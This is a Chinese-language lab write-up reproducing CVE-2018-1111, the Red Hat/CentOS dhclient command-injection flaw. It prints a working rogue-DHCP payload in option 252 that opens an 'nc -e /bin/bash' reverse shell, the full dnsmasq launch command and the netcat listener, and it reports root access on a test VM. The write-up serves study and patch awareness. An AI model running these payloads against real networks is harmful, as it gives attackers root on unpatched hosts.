本文作者:\xeb\xfe(來自信安之路作者團隊)
\xeb\xfe
贈送書籍:《Android應用安全防護和逆向分析》
活動地址:信安之路五月送書活動
近日,紅帽官方發佈了安全更新,修復了編號為CVE-2018-1111的遠程程式碼執行漏洞,攻擊者可以通過偽造DHCP服務器發送響應包,攻擊紅帽系統,獲取root許可權並執行任意命令。
現時相關利用程式碼已經公開,可用於本地網絡攻擊。
影響版本
1、Red Hat Enterprise Linux Server 6
2、Red Hat Enterprise Linux Server 7
3、CentOS 6
4、CentOS 7
漏洞詳情
DHCP是一個局域網的網路通訊協定,主要用於內部網絡動態IP地址分配。
Redhat提供的dhcp用戶端套裝軟體dhclient的腳本為
/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)
和
/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6)
當NetworkManager組件從DHCP服務器收到DHCP響應時執行該腳本。
使用單引號使參數值逃逸成功,導致了命令執行,payload如下:
--dhcp-option=“252,x'&nc -e /bin/bash 10.1.1.1 1337 #”
payload實現的效果是,通過命令執行nc操作,反彈shell到10.1.1.1的1337埠上。
漏洞複現過程
環境準備
這裡我用的測試機器系統分別是Centos 7 和 Kali 2018.2。
Centos 7 作為被攻擊機,需要設定自動獲取ip地址。
Kali 2018.2 作為攻擊機,需要搭建DHCP服務器,實現攻擊效果。
攻擊環境搭建
這裡我用vmware虛擬機器來實現,兩個系統都是連接到VMnet1網卡上(僅主機模式),並且關閉網卡上的DHCP服務。
接著我們開始配寘kali上的dhcp服務器,dnsmasq是一個小巧且方便地用於配寘DNS和DHCP的工具,適用於小型網絡,它提供了DNS功能和可選擇的DHCP功能,可以快速搭建一個DNS服務或者DHCP服務。
首先我們設定一下 dnsmasq 需要使用到的設定檔 /etc/dnsmasq.conf。
dnsmasq
/etc/dnsmasq.conf
dhcp-range:表示要分配給客戶機的ip地址範圍和租約時間
dhcp-range
dhcp-option:表示指定給DHCP用戶端的選項資訊
dhcp-option
log-facility:表示日誌記錄器
log-facility
其中設定檔中包括的option取值及含義如下:
3:設定閘道地址選項
6:設定DNS伺服器地址選項
252:為DHCP用戶端提供了一個用於配寘其代理設定的URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分,為dhcp服務器使用252,然後在他們的瀏覽器中寫入與dhcp服務器交談的能力,並要求程式碼252從該選項列出的URL中獲取關於網絡上代理設置的資訊。
payload
option 252
這裡dnsmasq.conf中的 dhcp-range 我設定為 192.168.11.10-192.168.11.20/24 這個ip地址範圍,租約時間為12h。
dhcp-range
192.168.11.10-192.168.11.20/24
dhcp-option 3 閘道地址和 dhcp-option6 DNS 服務器均設定為kali本地網卡的ip地址,kali的ip地址為靜態ip。
dhcp-option 3
dhcp-option6 DNS
修改好 /etc/dnsmasq.conf 設定檔之後,還不能直接啟動 dnsmasq 服務。
/etc/dnsmasq.conf
dnsmasq
命令執行payload如下:
dnsmasq -dC /etc/dnsmasq.conf --dhcp-option=“252,x'&nc -e /bin/bash 192.168.11.1 1337 #”
這裡的-d表示調試模式,-C表示指定設定檔運行dnsmasq服務,更多有關dnsmasq的命令詳解可以用 man dnsmasq 查看。
man dnsmasq
命令執行的效果是通過nc反彈shell到192.168.11.1的1337埠,所以需要在kali開啟nc埠監聽,命令如下:
nc -l -p 1337 -v
然後再用上述命令啟動dnsmasq服務。
此時Centos需要重啓網路服務,獲取DHCP服務器下發的ip地址,這裡可以看到獲取到了ip地址192.168.11.19。
我們再回到kali上查看調試結果,並執行 id, ip add show ens33, dir 等命令,通過返回的結果顯示,我們已經成功獲取到服務器的root許可權。
id
ip add show ens33
dir
CVE2018-1111 漏洞複現到此結束~!通過本文,大家可以學習到如何用dnsmasq來快速搭建一個DNS服務或者DHCP服務,並對DHCP服務的option部分值和含義有相關瞭解,以及學習了 CVE2018-1111 漏洞的複現及環境搭建。有興趣的可以學習一下DHCP服務option常見值和含義、dnsmasq的命令詳解。
CVE2018-1111
CVE2018-1111
本文章的內容只限科技研究,用於非法攻擊產生風險自擔。
參攷連結
DynoRoot:Red Hat DHCP用戶端命令執行漏洞CVE-2018-1111預警
https://www.anquanke.com/post/id/145201